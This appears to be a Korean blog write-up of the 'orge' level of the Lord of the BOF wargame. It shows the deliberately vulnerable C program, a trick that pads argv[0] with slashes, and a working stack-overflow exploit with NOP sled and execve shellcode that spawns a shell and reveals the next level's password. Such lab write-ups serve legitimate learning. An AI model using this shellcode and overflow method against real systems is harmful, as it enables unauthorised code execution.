-
[LOB] darkelfhacking 2021. 8. 29. 18:58
/* The Lord of the BOF : The Fellowship of the BOF - orge - check argv[0] */ #include <stdio.h> #include <stdlib.h> extern char **environ; main(int argc, char *argv[]) { char buffer[40]; int i; if(argc < 2){ printf("argv error\n"); exit(0); } // here is changed! if(strlen(argv[0]) != 77){ printf("argv[0] error\n"); exit(0); } // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); } // check the length of argument if(strlen(argv[1]) > 48){ printf("argument is too long!\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); // buffer hunter memset(buffer, 0, 40); }
환경변수 x
ret stack segment
argv[1]길이 48이하
buffer 변수 x
argv[0]길이 77 (추가된 것)
argv[0]은 실행 파일명을 의미한다
argv[0]은 ./ 을 포함하기 때문에 ./orge 의 길이는 6
argv[0]의 길이를 어떻게 늘릴까 고민하다
/의 개수를 무한으로 늘려도 괜찮다는 것이 떠올랐다
[darkelf@localhost darkelf]$ ./`python -c 'print "/"*71 + "orge"'` 123 stack is still your friend.
이로서 argv[0] error은 우회할 수 있게 되었다
나머지 exploit은 이전 문제와 같다
(agrv[0]의 길이에 따라 argv[2]의 addr이 달라질테니 이 부분만 수정해주면 된다)
[darkelf@localhost darkelf]$ ./`python -c 'print "/"*71 + "orge"'` `python -c 'print "A" * 44 + "\x45\xfb\xff\xbf" + " " + "\x90" * 100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAE bash$ my-pass euid = 507 timewalker bash$
orge / timewalker
'hacking' 카테고리의 다른 글
[LOB] troll (0) 2021.08.31 [LOB] orge (0) 2021.08.30 [LOB] wolfman (0) 2021.08.29 [FTZ] level1 (0) 2021.08.28 magic hash (0) 2021.08.27